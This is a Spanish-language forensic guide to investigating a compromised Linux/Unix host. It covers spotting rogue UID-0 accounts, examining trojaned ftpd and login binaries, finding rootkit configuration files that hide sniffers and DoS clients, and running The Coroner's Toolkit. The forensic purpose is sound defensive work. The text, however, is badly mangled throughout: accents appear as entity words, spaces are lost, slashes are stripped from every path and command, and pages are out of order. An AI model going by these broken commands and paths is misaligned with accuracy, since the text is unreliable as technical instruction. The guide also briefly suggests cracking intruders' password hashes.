1Anaacutelisis Sistemas Forenses - Este documento se basa en el trabajo de David Dittrich de la Universidad deWashington

2RootKit - Un rootkit es un conjunto de herramientas que garantizan el acceso posterior al sistema facilitan elpotencial acceso a otros servidores facilitan el borrado de huellas del atacador intentan esconder al atacante delos usuarios legiacutetimos del sistema

3Ataque de Limpieza - Es un tipo de ataque informaacutetico local o remoto cuyo objetivo es la eliminacioacuten de laspruebas de compromiso anterior El resultado de este tipo de ataques puede ser un destrozo de informacioacuten enun equipo anteriormente comprometido o de un forense informaacutetico El atacante intenta llevar acabo un borradode informacioacuten masivo utilizando las teacutecnicas de eliminacioacuten de informacioacuten por sobre escritura si se trata de unataque remoto yo deformacioacuten magneacutetica y des-magnetizacioacuten de medios si se trata de un ataque local

4UPX - Ultimate Packer for eXecutables (httpupxsourceforgenet) Una herramienta para comprimir elejecutable a fin de reducir su tamantildeo

5BurnEye - Una herramienta desarrollada por el grupo TESO (httpwwwteam-tesonet) que utiliza las teacutecnicasde inyeccioacuten de coacutedigo en ejecutables de tipo ELF La aplicacioacuten ofrece 3 niveles de proteccioacuten ofuscacioacuten decoacutedigo proteccioacuten con contrasentildea y fingerprinting

6BurnEye Nivel 1 - Para maacutes informacioacuten sobre el meacutetodo de obtener el binario original de uno ofuscado veanhttpwwwactivalinkcomreviewselfphp y httpwwwphrackcomshowphpp=58

7Burneye Nivel 2 - Para maacutes informacioacuten sobre meacutetodos de ingenieriacutea inversa de binarios protegidos con el nivel2 de proteccioacuten de BurnEye ver un caso praacutectico httpwwwincidentsorgpapersssh_exploitpdf

8Fenris - Un debugger popular y potente ya que interactuacutea con el sistema operativo y libc a un bajo nivel sinutilizar las llamadas ptrace() ver httprazorbindviewcomtoolsfenris

9Elfe - Lightweight Elf Encryptor (httpstealth7350org) Una herramienta desarrollada por Stealth del grupoTESO que utiliza teacutecnicas de inyeccioacuten de un motor de cifrado dentro de un ejecutable La aplicacioacuten protege laejecucioacuten de un binario por una contrasentildea Eacuteste meacutetodo de proteccioacuten de ejecutables es menos fiable que 2ordm y3er nivel de BurnEye

10Phrack - Gnugq ha escrito un buen white paper sobre el tema de proteccioacuten run-time de binarios que incluyemaacutes informacioacuten sobre el tema wwwphrackcomshowphpp=58ampa=5

51

11RootKit - Una coleccioacuten de utilidades para permitir al intruso ocultar su actividad dentro de un siste-ma facilitar el acceso en un futuro y recoger informacioacuten uacutetil del sistema Ver la versioacuten actua-lizada de FAQ en Ingleacutes sobre RootKits creada por Dave Dittrich de la universidad de Washington DChttpstaffwashingtonedudittrichmiscfaqsrootkitsfaq

12Biatchux - Es una distribucioacuten de linux portable sobre el CD-ROM que proporciona herramientas y un entornoseguro para realizar anaacutelisis forense recuperacioacuten de datos deteccioacuten de virus y evaluacioacuten de vulnerabilidades(httpbiatchuxdmzscom)

13Thomas Rude - El autor de un artiacuteculo sobre la manera de realizacioacuten de copias fiacutesicas de particiones y discospara el anaacutelisis forense (httpwwwcrazytraincomddhtml)

14The Coronerrsquos Toolkit- Una coleccioacuten de herramientas de un investigador forense Utilidades escritas por Dany Wietse (trabaja para IBM y el autor de postfix) Las utilidades incluidas en el kit proporcionan una ayudasubstancial para el investigador (httpwwwfishcomtct)

15Trinoo - Anaacutelisis de un ataque con una herramienta de DDoS (The DoS Projectrsquos trinoo distributed denial ofservice attack tool - httpstaffwashingtonedudittrichmisctrinooanalysis)

16Mstream - Anaacutelisis de un ataque con una herramienta de DDoS (The mstream distributed denial of serviceattack tool - httpstaffwashingtonedudittrichmiscmstreamanalysistxt)

17Van Hauser - Lea el documento de Van Hauser sobre Anonymizing Unix Systems para la informacioacuten decomo pueden los hackers con experiencia complicar la situacioacuten (httpwwwthehackerschoicecompapersfw-backdhtm)

18Techniques of Crime Scene Investigation por Barry A J Fisher CRC Press ISBN 0-8493-8119-3

19Mejora de Rendimiento de Sistemas de Copia de Seguridad - Whitepaper de Hewlett-Packard(httpwwwhpcomtapepapersperftunehtml)

20Clase de Farmer amp Wietse Venema sobre anaacutelisis forense de sistemas informaacuteticos - forensicstargz contiene 6diapositivas PostScript (httpwwwfishcomsecurityforensicshtml)

21Forensic Computer Analysis Introduccioacuten a la Reconstruccioacuten de eventos pasados por Dan Farmer y WietseVenema Dr Dobbrsquos Journal Septiembre 2000 (httpwwwddjcomarticles200000090009f0009fhtm)

22iquestQueacute son los MACtimes Herramientas poderosas para bases de datos por Dan Farmer Dr Dobbrsquos JournalOctubre 2000 (httpwwwddjcomarticles200000100010f0010fhtm)

23Strangers In the Night Encontrar el objetivo del binario desconocido por Wietse Venema Dr Dobbrsquos JournalNoviembre 2000 (httpwwwddjcomarticles200000110011g0011ghtm)

52

24Root Kits y ocultacioacuten de directorios despueacutes del break-in (httpstaffwashingtonedudittrichmiscfaqsrootkitsfaq)

25Infosecradio segmentos de anaacutelisis forense (15450) Julio 10 2000 (httpwwwsecurityfocuscommedia41)

26SecurityFocus - Entrevista con Jennifer Grannic (httpwwwsecurityfocuscommedia41)

27SecurityFocus - entrevista con Chad Davis (httpwwwsecurityfocuscommedia35)

28Anonymizing Unix Systems por van Hauser THC (httpthcpimmelcomfilesthcanonymous-unixhtml)

29Federal Guidelines for Searching and Seizing Computers Departamento de Justicia de EE UU(httpwwwusdojgovcriminalcybercrimesearchinghtml)

30DD and Computer Forensics Ejemplos de utilizacioacuten de DD dentro de Unix para crear backups fiacutesicos porThomas Rude CISSP Agosto 2000 (httpwwwcrazytraincomddhtml)

31El kernel de GNULinux ofrece soporte para sistemas de ficheros loopback siendo una teacutecnica bastante comuacutenVer para maacutes informacioacuten Laptop-HOWTO (httpwwwtldporgHOWTOLaptop-HOWTOhtml) Bootdisk-HOWTO (httpwwwtldporgHOWTOBootdisk-HOWTO) Loopback-Encrypted-Filesystem-HOWTO(httpwwwtldporgHOWTOLoopback-Encrypted-Filesystem-HOWTOhtml)

32La uacuteltima versioacuten de eacuteste documento estaacute disponible en httpwwwactivalinkcomforensics3php

14 AgradecimientosSe agradece la colaboracioacuten directa asiacute como indirecta de

bull Dan Farmer por su respuesta a las preguntas pesadas

bull Wietse Venema por su contribucioacuten a la tecnologiacutea de anaacutelisis forense de sistemas Unix

bull David Dittrich el autor original del estudio

bull Scut del Equipo TESO

bull The Gnugq uno de los editores de la revista Phrack

53

Page 17: Análisis Forense de Sistemas GNU/Linux, Unix

Ejemplo

umount mnt mount -r devhdd4 mnt ls -lat mnttotal 21drwx------ 47 user1 user1 3072 Apr 28 1152 user1drwx------ 10 user3 user3 1024 Dec 3 1419 user3drwx------ 4 user2 user2 1024 Oct 14 1999 user2drwxr-xr-x 2 root root 12288 Oct 1 1999 lost+founddrwxr-xr-x 2 root nobody 1024 Apr 15 1999 sambadrwxr-xr-x 5 root root 1024 Apr 7 1999 httpddrwxr-xr-x 6 root root 1024 Mar 21 1999 ftpdrwxr-xr-x 30 root root 1024 Aug 2 1998 local

Ahora podemos ver el contenido de la particioacuten home montado sobre mnt Vamos por ahora ignorar el contenidode la particioacuten home ya que ninguacuten fichero de sistema operativo se encuentra alliacute En futuro podemos examinarsu contenido para detectar alguacuten indicio de back-door como aplicaciones setuidsetgid ficheros rhosts comandosantildeadidos a los ficheros de inicializacioacuten de shell (cshrc bashrc etc) que pueden enviar una copia de fichero quecontiene passwords a una direccioacuten borrar fichero similares

Ahora vamos a re-montar en solo lectura el sistema de ficheros root y empecemos a investigar

Ejemplo

umount mnt mount -r devhdd2 mnt

Primero verifiquemos que es lo que contiene el fichero etcpasswd para ver que UIDGIDs hay dentro Este ficherodebe ser copiado y utilizado con la aplicacioacuten mactime del suite de herramientas The Coronerrsquos Toolkit [13] Laaplicacioacuten nos mostraraacute el mapeo correcto de UIDs y GIDs

El fichero puede contener cuentas creadas por los intrusos como por ejemplo aquiacute

less mntetcpasswd

rootx00rootrootbinbashbinx11binbindaemonx22daemonsbinadmx34admvaradmlpx47lpvarspoollpd

17

syncx50syncsbinbinsyncshutdownx60shutdownsbinsbinshutdownzx00binbashhaltx70haltsbinsbinhaltmailx812mailvarspoolmailnewsx913newsvarspoolnewsuucpx1014uucpvarspooluucpoperatorx110operatorrootr00tx598500binbashgamesx12100gamesusrgamesyx900100tmpbinbashgopherx1330gopherusrlibgopher-dataftpx1450FTP Userhomeftpnobodyx9999Nobodygdmx4242homegdmbinbashxfsx100233X Font ServeretcX11fsbinfalseuser1x500500User 1homeuser1bintcshuser2x501501User 2homeuser2bintcshuser3x502502User 3homeuser3bintcshnamedx2525Namedvarnamedbinfalse

En el ejemplo anterior podemos observar que hay cuentas que parecen totalmente fuera de lugar ya que tienen nuacutemerosUID elevados y sin orden aparente por ejemplo r00t y (que por cierto tiene asignado como $HOME el directoriotmp) Un fichero de passwd legiacutetimo y creado por el sistema normalmente sigue un patroacuten secuencial de asignacioacutende UIDrsquos Mientras aquiacute anotamos que las cuentas con UIDs de orden bajo como reciente mente antildeadidos namedcon UID 25 y z con UID 0 y GID 0 (lo mismo que root) son altamente sospechosos por su posicioacuten Hemos tomadonota para volver luego y investigar maacutes en detalle Intente de forma opcional extraer las contrasentildeas de esos usuariosen formato cifrado y intentar ripearlos (hay muchas posibilidades de que los intrusos tengan la misma contrasentildea enla maacutequina atacada y en suya propia) Tambieacuten apunte algunas conclusiones a las que hemos llegado ahora

1Creacioacuten de cuentas es una accioacuten frecuente y creadas de tal manera como hemos visto anteriormente muestranun nivel de conocimientos bajo del intruso

2Tambieacuten podemos suponer que los intrusos ya han observado que el administrador no realiza verificaciones deseguridad rutinarias y no temen ser descubiertos

3Puede ser que sea un entretenimiento para los intrusos crear cuentas para que el administrador las encuentre laselimine y asume que el sistema estaacute seguro mientras que hay muacuteltiples puertas traseras instaladas que permitencompromiso root de la maacutequina

4Como normalmente las cuentas se crean de forma secuencial en el fichero etcpasswd puede que el administrador(o alguien maacutes) haya instalado named en el sistema de forma reciente (o el intruso haya instalado una versioacutende named vulnerable)

18

Debe empezar a construir una liacutenea temporal para anotar cuando han ocurrido los hechos intentar trazar de formainversa todos los acciones hasta el intento de entrada al sistema y el punto de origen de entrada Aprovechando todoslos hechos acumulados al final podremos determinar el origen verdadero del atacante y los sistemas utilizados paraatacar a la maacutequina

En este momento nos encontramos en la fase de observacioacuten ahora estamos tomando notas de lo que pasoacute hemosverificado que tenemos el contenido de disco duro intacto disponemos de tres copias del disco duro y las estamosestudiando en modo solo lectura

Desde aquiacute el anaacutelisis puede ser continuado usando herramientas comunes de Unix yo herramientas especialmentedisentildeados para anaacutelisis forense Tambieacuten debemos utilizar toda nuestra experiencia anterior y el sentido comuacuten

7 Anaacutelisis con Herramientas Estaacutendar de UnixAsumiendo que nuestras herramientas de Unix estaacuten limpias de root-kit podemos seguir desde el punto donde lodejamos en la seccioacuten anterior Hemos notado que las dos cuentas y y z tienen el directorio home situado en entmp y en respectivamente Eso significa que debemos examinar de forma detenida estos directorios para detectarcualquier anomaliacutea

ls -lat mnttmptotal 156drwxrwxrwt 6 root root 1024 May 1 0403 -r--r--r-- 1 root gdm 11 Apr 29 1417 X0-lockdrwxrwxrwt 2 root gdm 1024 Apr 29 1417 X11-unixdrwxrwxrwt 2 xfs xfs 1024 Apr 29 1417 font-unixdrwxr-xr-x 25 y root 1024 Apr 28 2347 drwx------ 2 user1 user1 1024 Apr 26 1736 kfm-cache-500-rw-rw-r-- 1 user1 user1 12288 Apr 26 1637 psdevtabdrwxrwxrwt 2 root root 1024 Apr 21 1112 ICE-unix-rwx------ 1 root root 138520 Apr 20 2015 fileMFpmnk

El listado nos muestra que existe un fichero cuyo tamantildeo es superior al resto Tambieacuten vemos que es el fichero maacutesantiguo de la carpeta que pertenece al root El nombre del fichero no estandarizado y posee derechos de ejecucioacutenDebemos determinar de que tipo de fichero se trata El programa file nos informa que el fichero misterioso es unbinario ELF de 32-bit LSB ejecutable Intel 80386 versioacuten 1 (Linux) enlazado estaacuteticamente stripeado Para ver cuales el objetivo del fichero examinamos el listado de cadenas de texto que contiene

1strings - mnttmpfileMFpmnk

19

libld-linuxso2__gmon_start__libpamso0_DYNAMIC_GLOBAL_OFFSET_TABLE_pam_set_itemfree__ctype_tolowermallocstrcmppam_endpam_start

FileCompressedBlockStream[nowhere yet]ftpdaAvdlLiopPqQrsStTuwWXbad value for -uoption -c requires an argumentunknown option -c ignored

VirtualFTP Connect to s [s]bannerlogfileemailvarlogxferlogconnection refused (server shut down) from ss FTP server shut down -- please try again laterlslongbinls -lalsshortlsplainbinlsgreetingfulltersebriefs FTP server (s) readys FTP server readyFTP server ready

FTP LOGIN REFUSED (already logged in as s) FROM s s

20

Already logged inetcftphostsFTP LOGIN REFUSED (name in s) FROM s sanonymousFTP LOGIN REFUSED (anonymous ftp denied on default server) FROM s sFTP LOGIN REFUSED (ftp in denied-uid) FROM s setcftpusers

Por lo que vemos strings nos comenta que el binario es un servidor FTP normalmente llamado ftpd oacute inftpd Puedeser que el fichero forma parte de un root-kit o de un caballo de Troya Los ficheros de configuracioacuten de este tipode kits suelen normalmente encontrarse en el directorio dev entonces una buacutesqueda raacutepida en ese directorio podraacutedesvelar nos mucha informacioacuten uacutetil

cd mntdev ls -lat | head -30total 116drwxr-xr-x 8 root root 34816 Apr 30 0402 srw-rw-rw- 1 root root 0 Apr 30 0402 logcrw------- 1 root root 4 1 Apr 29 1417 tty1crw------- 1 root root 4 2 Apr 29 1417 tty2crw------- 1 root root 4 3 Apr 29 1417 tty3crw------- 1 root root 4 4 Apr 29 1417 tty4crw------- 1 root root 4 5 Apr 29 1417 tty5crw------- 1 root root 4 6 Apr 29 1417 tty6srwxrwxrwx 1 root root 0 Apr 29 1417 gpmctlsrw------- 1 root root 0 Apr 29 1417 printercrw-r--r-- 1 root root 1 9 Apr 29 1417 urandomprw------- 1 root root 0 Apr 29 1414 initctldrwxr-xr-x 25 y root 1024 Apr 28 2347 crw-rw-rw- 1 root tty 3 2 Apr 28 1144 ttyp2crw-rw-rw- 1 root tty 3 0 Apr 28 1143 ttyp0crw-rw-rw- 1 root tty 3 1 Apr 28 1143 ttyp1-rw-r--r-- 1 root root 18 Apr 27 2258 ptypdrwxr-xr-x 4 r00t root 1024 Apr 27 2258 crw-rw-rw- 1 root tty 3 4 Apr 27 1202 ttyp4crw-rw-rw- 1 root tty 3 3 Apr 27 1156 ttyp3crw------- 1 root root 5 1 Apr 21 1109 consolelrwxrwxrwx 1 root root 5 Apr 21 0402 mouse -gt psauxdrwxr-xr-x 2 root root 1024 Apr 20 1521 rev0-rw-r--r-- 1 root root 33 Apr 20 1521 ptyrlrwxrwxrwx 1 root root 9 Feb 28 0223 isdnctrl -gt isdnctrl0lrwxrwxrwx 1 root root 5 Feb 28 0223 nftape -gt nrft0lrwxrwxrwx 1 root root 3 Feb 28 0223 fb -gt fb0

21

lrwxrwxrwx 1 root root 15 Feb 28 0223 fd -gt procselffdlrwxrwxrwx 1 root root 4 Feb 28 0223 ftape -gt rft0Broken pipe

De todos los ficheros que podemos ver en este directorio nos llaman atencioacuten los archivos ptyp y ptyr que noson dispositivos comunes ni directorios ni tampoco enlaces simboacutelicos son ficheros de tipo ASCII text Tambieacutenlocalizamos un directorio llamado rev0 y una carpeta oculta que pertenece al usuario r00t

less ptyr

spplslicessynk4rev0bc1snif

Son ficheros de configuracioacuten de un caballo de Troya El contenido muestra que ls ocultaraacute ficheros o directorios spplslice (un cliente DoS) ssynk4 (cliente DoS) rev0 bc1 y snif (adivina que puede ser )

Si estamos seguros que nuestro sistema no estaacute infectado con un root-kit podemos utilizar las herramientas find ygrep para identificar doacutende se encuentran estos ficheros (el disco estaacute montado como solo lectura nodev iquestverdad)

cd mnt

find -ls | grep -f etcptyr282058 1 drwxr-xr-x 2 root root 1024 Apr 20 1521 devrev0282059 1 -rw-r--r-- 1 root root 5 Apr 20 1521 devrev0sniffpid

282061 20 -rw-r--r-- 1 root root 19654 Apr 20 2023 devrev0tcplog164753 9 -rwxr-xr-x 1 1080 users 9106 Sep 20 1999 devrev0slice164754 8 -rwxr-xr-x 1 1080 users 8174 Sep 20 1999 devrev0smurf4164755 8 -rwxr-xr-x 1 1080 users 7229 Sep 20 1999 devrev0snif164756 4 -rwxr-xr-x 1 1080 users 4060 Mar 5 1999 devrev0sppl164770 9 -rwxr-xr-x 1 root 1000 8268 Aug 10 1999 devblitznetslice2

61907 2 -rwxr-xr-x 1 root root 2006 Mar 29 1999 usrbinsliceprint

255230 1 -rw-r--r-- 1 root root 900 Mar 21 1999 usrincludepython15sliceobjecth

22

Algunos de los ficheros que estaacuten en la lista posiblemente son ficheros legiacutetimos del sistema operativo pero hayalgunos que son bastante sospechosos los que se encuentran en dos carpetas del directorio dev

cd mntdev less ptyp

3 egg3 egg3 bnc

En este momento podemos hacer una apuesta seguro que el fichero ptyp es un fichero de configuracioacuten de la utilidadps del root-kit que oculta los procesos que contienen cadenas egg bnc en sus nombres Hay que encontrarbinarios ejecutables con estos nombres

cd mntdev ls -lR total 2699drwxr-sr-x 2 root 1000 1024 Aug 10 1999 blitznet-rw-r--r-- 1 root root 30720 Apr 26 0407 blitznettar-rwxrw-r-- 1 r00t user1 22360 Apr 27 2258 bnc-rw-r--r-- 1 900 users 2693120 Apr 20 2218 collisiontar-rw-rw-r-- 1 r00t user1 976 Apr 27 2258 exampleconf-rw-rw-r-- 1 user1 user1 5 Apr 28 2035 pidbnc

blitznettotal 22-rw-r--r-- 1 root 1000 3450 Aug 10 1999 README-rw-r--r-- 1 root 1000 1333 Aug 10 1999 blitzc-rw-r--r-- 1 root 1000 3643 Aug 10 1999 blitzdc-rwxr-xr-x 1 root 1000 2258 Aug 10 1999 rushtcl-rwxr-xr-x 1 root 1000 8268 Aug 10 1999 slice2

ls -lR rev0rev0total 51

23

-rwxr-xr-x 1 1080 users 9106 Sep 20 1999 slice-rwxr-xr-x 1 1080 users 8174 Sep 20 1999 smurf4-rwxr-xr-x 1 1080 users 7229 Sep 20 1999 snif-rw-r--r-- 1 root root 5 Apr 20 1521 sniffpid-rwxr-xr-x 1 1080 users 4060 Mar 5 1999 sppl-rw-r--r-- 1 root root 19654 Apr 20 2023 tcplog

cd mntusrbin ls -lat | headtotal 89379drwxr-xr-x 6 root root 27648 Apr 21 0401 -rwsr-xr-x 1 root root 20164 Apr 15 1923 chxlrwxrwxrwx 1 root root 8 Feb 28 0228 netscape-navigator -gt netscapedrwxrwxr-x 2 news news 1024 Feb 28 0225 rnewslibexecdrwxrwxr-x 2 news news 1024 Feb 28 0225 controldrwxrwxr-x 2 news news 1024 Feb 28 0225 filterlrwxrwxrwx 1 root root 4 Dec 30 1306 elatex -gt etexlrwxrwxrwx 1 root root 5 Dec 30 1306 lambda -gt omegalrwxrwxrwx 1 root root 3 Dec 30 1306 latex -gt texBroken pipe

strings - chxlibld-linuxso2__gmon_start__libcryptso1libpamso0

varlogbtmpusrsharelocaleutil-linuxfhplogin -h for super-user onlyusage login [-fp] [username]devttysdevvcsdevvcsaloginlogin PAM Failure aborting sCouldnrsquot initialize PAM sFAILED LOGIN d FROM s FOR s sLogin incorrectTOO MANY LOGIN TRIES (d) FROM s FOR s s

24

FAILED LOGIN SESSION FROM s FOR s sLogin incorrecthushloginssvarrunutmpvarlogwtmpbinshTERMdumbHOMEusrlocalbinbinusrbinPATHsbinbinusrsbinusrbinSHELLvarspoolmailMAILLOGNAMEDIALUP AT s BY sROOT LOGIN ON s FROM sROOT LOGIN ON sLOGIN ON s BY s FROM sLOGIN ON s BY sYou have smailnewlogin failure forking ssetuid() failedNo directory sLogging in with home = login no memory for shell scriptexeclogin couldnrsquot exec shell script slogin no shell ss loginlogin name much too longNAME too longlogin names may not start with rsquo-rsquotoo many bare linefeedsEXCESSIVE linefeedsLogin timed out after d secondsetcsecurettyetcmotdvarloglastlogLast login sfrom son sLOGIN FAILURE FROM s s

25

LOGIN FAILURE ON s sd LOGIN FAILURES FROM s sd LOGIN FAILURES ON s s

El programa nos muestra los mensajes del sistema mencionando el fichero hushlogin Todos los indicios apuntanque el binario es una versioacuten modificada de de la aplicacioacuten login Siempre Los binarios siempre incluyen informacioacutende objetos compilados y enlazados salvo que esteacuten stripeados Si estaacute presente esa informacioacuten podemos examinarlacon la utilidad nm

nm chxchx no symbols

En este caso estamos seguros que el fichero estaacute stripeado Tambieacuten podemos aprender bastante de lo que nos muestranlos enlaces a las libreriacuteas dinaacutemicas Para verlo utilicemos ldd

ldd chxlibcryptso1 =gt liblibcryptso1 (0x40018000)libpamso0 =gt liblibpamso0 (0x40045000)libdlso2 =gt liblibdlso2 (0x4004d000)libpam_miscso0 =gt liblibpam_miscso0 (0x40050000)libcso6 =gt liblibcso6 (0x40054000)libld-linuxso2 =gt libld-linuxso2 (0x40000000)

El binario depende del moacutedulo PAM y de las libreriacuteas criptograacuteficas Entonces el binario efectuacutea algunas tareas deautenticacioacuten de usuarios El binario parece ser el binlogin modificado que pertenece a alguacuten caballo de Troya

Normalmente los intrusos no dejan huellas evidentes que nos permiten encontrar ficheros y directorios El ejemploanterior nos ha probado que utilizando herramientas baacutesicas podemos reunir bastante informacioacuten

En caso de que no sea tan sencillo se deberaacute utilizar herramientas maacutes complejas y eficaces Para ver alguacuten ejemplocomplejo podemos ver referencias [14 15]

8 The Coronerrsquos ToolkitThe Coronerrsquos Toolkit (o el TCT) es un suite de aplicaciones escritas por Dan Farmer y Wietse Venema para uncurso organizado por IBM sobre un estudio forense de equipos comprometidos

Las aplicaciones maacutes importantes del suite son

26

bull grave-robber - Una utilidad para capturar informacioacuten sobre inodes para luego pueda ser procesada por elprograma mactime del mismo toolkit

bull unrm y lazarus - Herramientas para la recuperacioacuten de archivos borrados (logs RAM swap etc) Estasaplicaciones identifican y recuperan la informacioacuten oculta en los sectores del disco duro

bull mactime - El programa para visualizar los ficherosdirectorios su timestamp MAC (Modification Access yChange)

De todas esas herramientas las maacutes uacutetiles y interesantes son grave-robber y mactime unrm y lazarus son buenas si setiene mucho tiempo y espacio libre en el disco ya que el programa necesita identificar informacioacuten en los sectores deldisco para recuperar los ficheros (logs fuentes etc) borrados por los intrusos

La funcioacuten maacutes baacutesica de grave-robber es de escanear algunas o todas sistemas de ficheros con funcioacuten stat() paraobtener informacioacuten de los inodes Grave-robber crea en la carpeta data un directorio llamado como el nombredel host de la maacutequina y alliacute almacena los inodes dentro del fichero body El programa mactime luego ordena losresultados y los muestra seguacuten el tiempo cual de los tres timestamps corresponde muestra el tipo de fichero tamantildeoy a quieacuten pertenece junto con el path

Desde el listado podremos sacar algunas conclusiones sobre la actividad que ha ejercido el intrusolos intrusos duranteel tiempo que estuvieron dentro del sistema Eso puede incluir instalacioacuten de caballos de Troya backdoors sustitucioacutende ficheros legiacutetimos del sistema operativo descarga de herramientas modificacioacuten de las libreriacuteas del sistema oinstalacioacuten de rpmrsquosdebrsquospkgrsquos etc Tambieacuten podemos ver desde aquiacute la creacioacuten de directorios ocultos ejecucioacutende los comandos de sistema operativo compilacioacuten y ejecucioacuten de aplicaciones Toda esa informacioacuten que nunca sealmacena de forma directa puede ser extraiacuteda de la informacioacuten que da mactime

9 Usando TCTAhora paso por paso intentaremos instalar la aplicacioacuten The Coroners Toolkit que nos serviraacute para recoger lainformacioacuten sobre el sistema de ficheros y analizarla La herramienta no es un ejecutable que realiza todas las tareassino es una coleccioacuten de utilidades disentildeadas para efectuar una tarea determinada siendo importante entender elfuncionamiento de cada una de ellas para poder entender la funcioacuten del toolkit en su totalidad

bull El primer paso es de desempaquetar el archivo tct-109targz y copiarlo al directorio usrlocaltct-109 luegodebemos leer detenidamente el fichero de instrucciones de instalacioacuten INSTALL

La instalacioacuten de la aplicacioacuten debe ser realizada en una particioacuten donde haya mucho espacio ya que algunasaplicaciones suelen generar una cantidad grande de informacioacuten de salida por ejemplo unrm y lazarus

bull Ahora reconfiguremos los scripts utilizando perl reconfig ya que TCT utiliza rutas completas

27

bull Limpiamos bien la distribucioacuten con un make clean make all

bull Leemos documentacioacuten del directorio docs para conocer los detalles de funcionamiento del Toolkit

1 ls -l docs

total 34-rw-r--r-- 1 root root 8572 Mar 28 1241 README-rw-r--r-- 1 root root 7162 Mar 28 1239 grave-robberREADME-rw-r--r-- 1 root root 13944 Jan 16 1334 lazarusREADME-rw-r--r-- 1 root root 2830 Mar 27 1507 macREADME

bull Montamos la particioacuten que debemos analizar en modo solo lectura y nodev bajo alguacuten punto de montura

mount -r devhdd2 mnt

bull Suponiendo que siendo root arrancamos la aplicacioacuten grave-robber para que empiece a analizar el sistema de fiche-ros y procesos y guardar los datos de los inodes en el fichero dataactivalinkcombase y dataactivalinkcombaseS(binarios sUID) el estado del sistema en el directorio dataactivalinkcomcommand_out etc

bingrave-robber -m mnt

Grave-robber inicialmente realizaraacute un anaacutelisis de todas las carpetas que estaacuten en el $PATH y a continuacioacuten empezaraacutea analizar la particioacuten montada mnt El anaacutelisis suele tardar bastante tiempo seguacuten el tamantildeo de la particioacuten quequeremos analizar Aparte de los inodes se guarda el estado general del sistema es decir el output de las herramientasde monitorizacioacuten del sistema como ps top w etc

bull Una vez terminado el trabajo del grave-robber copiamos los ficheros passwd y group del sistema comprometidoal directorio tct-109 para que los tengamos a mano ya que en breve estaremos analizaacutendolos Para que se puedadistinguirlos luego renombramos estos ficheros passwdvictim o utilicemos el nombre del host comprometido

bull Ejecutamos luego la utilidad mactime especificando una fecha anterior del compromiso (consideremos que laactividad del intruso ha acabado hoy pero no vamos a especificar hora) Necesitaremos pasar los resultados deejecucioacuten de mactime a un fichero para que luego se pueda examinar su contenido con tranquilidad

28

binmactime -p passwdvictim -g groupvictim mnt 06012000 gt victimmactime

En la utilidad mactime hubo un bug en las versiones anteriores que haciacutea que la aplicacioacuten no funcione correctamente sise utilizaba la opcioacuten -p Entonces haciacuteamos un work around incorporando temporalmente el contenido del ficheroetcpasswd de la maacutequina viacutectima coincidir con eacutel de nuestro sistema En la versioacuten actual este bug estaacute solucionado

bull Hacemos una copia del fichero antes de empezar el anaacutelisis

cp victimmactime victimmactimeevidence

bull Entonces podemos empezar analizando el fichero victimmactimeevidence Usando el editor de texto favoritoempecemos a revisarlo y marcar la actividad sospechosa Sugiero que pongamos los tags [MARK] para que luegocon grep podamos localizar nuestros apuntes

Feb 13 2000 011050 50148 mca -rwxr-xr-x root root xdevFeb 13 2000 011052 564 mc -rw-r--r-- root root xetcprofileFeb 13 2000 011100 5 mac -rw-r--r-- root root xlibsp

18110 a -rw-r--r-- root root xlibtp[MARK]Feb 13 2000 011208 0 c -rw-r--r-- root root xdevttyag

25 c -rwxr-xr-x root root xdevttyfg23 c -rwxr-xr-x root root xdevttypg

373176 c -rws--x--x root root xlib8268 c -rwxr-xr-x root root xlibgo

20164 c -rwsr-xr-x root root xusrbinxcat183780 c -rwxr-xr-x root root xusrsbinfind

Feb 13 2000 013000 8268 a -rwxr-xr-x root root xlibgoFeb 14 2000 104203 1166856 a -rw-r--r-- root root xvarlogbootlog[MARK]Feb 14 2000 104535 18110 mc -rw-r--r-- root root xlibtpFeb 14 2000 105742 2998 mc -rw-r--r-- root root xetcinetdconf~Feb 14 2000 110147 168 a -rw-rw-r-- root root xrootsaves-1380-dragon~

Feb 14 2000 111838 160 mc -rw-r--r-- root root xetchostsallowoldFeb 14 2000 111855 347 mc -rw-r--r-- root root xetchostsdenyoldFeb 14 2000 111908 8 mc -rw-r--r-- root root xetchostsdenyFeb 14 2000 112253 168 mc -rw-rw-r-- root root xrootsaves-1380-dragon~

29

Feb 14 2000 113030 2998 a -rw-r--r-- root root xetcinetdconf~[MARK]Feb 14 2000 113125 20164 a -rwsr-xr-x root root xusrbinxcatFeb 14 2000 113410 868 mc -rwxr-xr-x root root xetcrcdrclocal

bull Despueacutes de repasar todo el listado de cambios histoacutericos puede que tengamos alguna pista para seguir o puedeque no En el peor de los casos debemos modificar la fecha especificada y cambiarla a la anterior del compromisointentaacutendolo de nuevo o mirar maacutes detenidamente Durante el examen del documento se prohibe distraerse ya quela concentracioacuten es muy importante en este momento

bull Otra opcioacuten es recuperar ficheros borrados con el la utilidad unrm y luego examinarlos con el programa stringsLas dos utilidades unrm y lazarus generan muchiacutesima informacioacuten y debemos tener bastante espacio libre enla particioacuten Podemos determinar la cantidad de espacio en disco duro que necesitamos calculando de formaaproximada a partir del informe de df

df mntFilesystem 1k-blocks Used Available Use Mounted ondevhdb2 3028881 1604551 1267697 56 mnt

En nuestro ejemplo df muestra que tenemos 1267697 bloques sin ocupar que significa que unrm puede llegar a generaraproximadamente 12 Gb de informacioacuten Encontremos una particioacuten libre y almacenemos alliacute el dump (Importanteen el ejemplo utilizo el punto de montura del sistema comprometido y no del sistema de anaacutelisis)

binunrm devhdb2 gt datavictimhda2unrm

bull Pero si disponemos de maacutes espacio (maacutes de 12Gb) y mucho maacutes tiempo para practicar con lazarus que procesaraacuteel espacio libre en el disco duro y intentaraacute recuperar ficheros por sus tipos lazarus genera una salida en formatoHTML que nos va a dar la oportunidad de verla a traveacutes del navegador

30

10 Ejemplo de Informe de Pruebas EncontradasAhora vamos a examinar un informe completo de actividad dellos intrusos en el sistema El informe fue obtenido trasanalizar los ficheros log de los sniffers intentos de acceso timestamps en el sistema de ficheros y el contenido de lasparticiones de varios sistemas involucrados en el incidente Es un informe real soacutelo que estaacute omitida la informacioacutenque identifica el sistema atacado

A continuacioacuten es un informe de anaacutelisis de la particioacuten root del sistema 2121022557 la informacioacuten aparece talcomo fue encontrada despueacutes de poner el disco off-line una vez descubierto el compromiso por sospecha de tenerejecutaacutendose un sniffer Una copia de sistema de ficheros estaacute disponible en formato targz en el cdrom ISO 9660CD-R

